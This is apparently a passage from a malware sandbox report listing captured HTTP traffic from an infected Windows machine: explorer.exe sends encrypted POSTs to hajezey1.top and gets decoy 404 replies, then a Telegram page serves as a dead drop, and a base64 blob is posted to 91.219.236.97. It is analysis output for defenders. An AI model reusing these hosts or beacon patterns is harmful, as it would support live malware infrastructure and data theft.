6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.7	49804	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:09.799340010 CEST	8141	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://akpvscwiwg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: hajezey1.top
Oct 29, 2021 20:30:09.799372911 CEST	8142	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 16 9c 91 27 Data Ascii: 7v:7AFTmwmwu$f]d'Wx,8C(~q2E^k[w#-e\|:Z=Ao>T,2Q33\|,(w"EH 1r5rPG/Ggmeh(k[-AfddIqCX
Oct 29, 2021 20:30:09.878878117 CEST	8142	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.7	49805	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:10.025470972 CEST	8143	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fftaocheul.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: hajezey1.top
Oct 29, 2021 20:30:10.025481939 CEST	8143	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 21 da dd 15 Data Ascii: 7v:7AFTmwmwu$f]d!YM}SK&LzeBpYU
Oct 29, 2021 20:30:10.105526924 CEST	8144	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	49806	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:10.390211105 CEST	8145	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uqktie.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 194 Host: hajezey1.top
Oct 29, 2021 20:30:10.390222073 CEST	8145	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 0e aa 89 69 Data Ascii: 7v:7AFTmwmwu$f]diai6gc$1?(l}gV3;2Jf9oJ.qhE/O2KXE8P38712}SV-\&k/'
Oct 29, 2021 20:30:10.468175888 CEST	8146	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	49807	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:11.633338928 CEST	8147	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tkhdy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 212 Host: hajezey1.top
Oct 29, 2021 20:30:11.633358002 CEST	8147	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 27 d8 da 30 Data Ascii: 7v:7AFTmwmwu$f]d'0WLqbbH8#FDR`63 GyW%iNtsz+-:H&F44:YQj&X$"6Hi<U<AX8k8P
Oct 29, 2021 20:30:11.711445093 CEST	8148	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	49808	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:11.826704025 CEST	8148	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hhnkknumd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 315 Host: hajezey1.top
Oct 29, 2021 20:30:11.826805115 CEST	8149	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 10 87 9c 7e Data Ascii: 7v:7AFTmwmwu$f]d~Ioz6MWQ4y :fxJ5$%/abs;ccL?:N\qRTkk?eVn.->W]3E?8n:bp&;6'jBJ
Oct 29, 2021 20:30:11.905286074 CEST	8149	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49747	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:20.944181919 CEST	724	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rctoc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: hajezey1.top
Oct 29, 2021 20:29:20.944200039 CEST	724	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 46 99 da 12 Data Ascii: 7v:7AFTmwmwu$f]dF@=wMk4_ZPw,;P5zb9n)QX!_bZ+
Oct 29, 2021 20:29:21.022907019 CEST	725	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	49811	172.67.160.46	80

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:34.785027981 CEST	8166	OUT	GET /agrybirdsgamerept HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Host: toptelete.top
Oct 29, 2021 20:30:35.011461020 CEST	8167	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:30:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive set-cookie: stel_ssid=ecc739c305f707721e_286221579877052833; expires=Sat, 30 Oct 2021 18:30:34 GMT; path=/; samesite=None; secure; HttpOnly pragma: no-cache cache-control: no-store strict-transport-security: max-age=35768000 access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gbkjoW9dkaRTs9hARjHu%2FL%2F%2B8lhbecZzAgpZl6DPbZRKRLkhOKPKgRg2HdkjQTvtgldHkHdSJH0J8EB7L3haSqQ5z%2B%2BkfEW%2F5WPyP8xGWGEs3xwBq42AU%2BgA0QovqfsB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a5e79d37d95d70d-FRA Data Raw: 31 31 65 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 37 61 63 38 61 71 38 39 65 6e 44 70 48 45 46 4f 49 52 75 4b 31 57 30 76 31 73 46 30 71 43 36 2f 34 62 62 2d 76 31 36 22 3e 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 65 Data Ascii: 11ef<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @agrybirdsgamerept</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" content="agrybirdsgamerept"><meta property="og:image" content="https://telegram.org/img/t_logo.png"><meta property="og:site_name" content="Telegram"><meta property="og:description" content="7ac8aq89enDpHEFOIRuK1W0v1sF0qC6/4bb-v16"><meta property="twitter:title" content="agrybirdsgamerept"><me
Oct 29, 2021 20:30:35.011504889 CEST	8168	IN	Data Raw: 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 Data Ascii: ta property="twitter:image" content="https://telegram.org/img/t_logo.png"><meta property="twitter:site" content="@Telegram"><meta property="al:ios:app_store_id" content="686449807"><meta property="al:ios:app_name" content="Telegram Messeng
Oct 29, 2021 20:30:35.011528969 CEST	8170	IN	Data Raw: 6d 65 72 65 70 74 22 3e 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 69 74 75 6e 65 73 2d 61 70 70 22 20 63 6f 6e 74 65 6e 74 3d 22 61 70 70 2d 69 64 3d 36 38 36 34 34 39 38 30 37 2c 20 61 70 70 2d 61 72 67 75 6d 65 6e 74 3a 20 74 Data Ascii: merept"><meta name="apple-itunes-app" content="app-id=686449807, app-argument: tg://resolve?domain=agrybirdsgamerept"> <link rel="shortcut icon" href="//telegram.org/favicon.ico?3" type="image/x-icon" /> <link href="https://fonts.goo
Oct 29, 2021 20:30:35.011563063 CEST	8171	IN	Data Raw: 61 63 74 69 6f 6e 5f 62 75 74 74 6f 6e 5f 6e 65 77 22 20 68 72 65 66 3d 22 74 67 3a 2f 2f 72 65 73 6f 6c 76 65 3f 64 6f 6d 61 69 6e 3d 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 56 69 65 77 20 69 6e 20 54 65 6c 65 67 72 61 6d 3c 2f Data Ascii: action_button_new" href="tg://resolve?domain=agrybirdsgamerept">View in Telegram</a></div>... WEBOGRAM_BTN --><div class="tgme_page_action tgme_page_context_action"><div class="tgme_page_context_btn"><a class="tgme_action_button_new" href=
Oct 29, 2021 20:30:35.011579037 CEST	8171	IN	Data Raw: 69 70 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 38 2e 34 38 6d 73 20 2d 2d 3e 0a 0d 0a Data Ascii: ipt> </body></html>... page generated in 8.48ms -->
Oct 29, 2021 20:30:35.011595964 CEST	8171	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	49812	91.219.236.97	80

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:35.072803974 CEST	8172	OUT	POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Content-Length: 132 Host: 91.219.236.97
Oct 29, 2021 20:30:35.072920084 CEST	8172	OUT	Data Raw: 6e 41 59 37 32 32 71 4d 51 4d 55 58 62 46 4a 4d 7a 43 6e 6a 6a 4c 37 78 5a 57 35 52 37 30 42 44 35 69 58 48 57 65 77 34 30 6f 71 6e 6f 75 4b 41 51 37 2f 63 63 61 50 6c 33 32 4d 52 7a 39 32 63 35 50 59 6e 44 52 65 44 58 64 71 42 43 4c 38 31 4c 79 Data Ascii: nAY722qMQMUXbFJMzCnjjL7xZW5R70BD5iXHWew40oqnouKAQ7/ccaPl32MRz92c5PYnDReDXdqBCL81LyhYQqT/QM513CGXt+E4oVPMQd4mVYJnYXBVLgoFdy4zdP011A0=
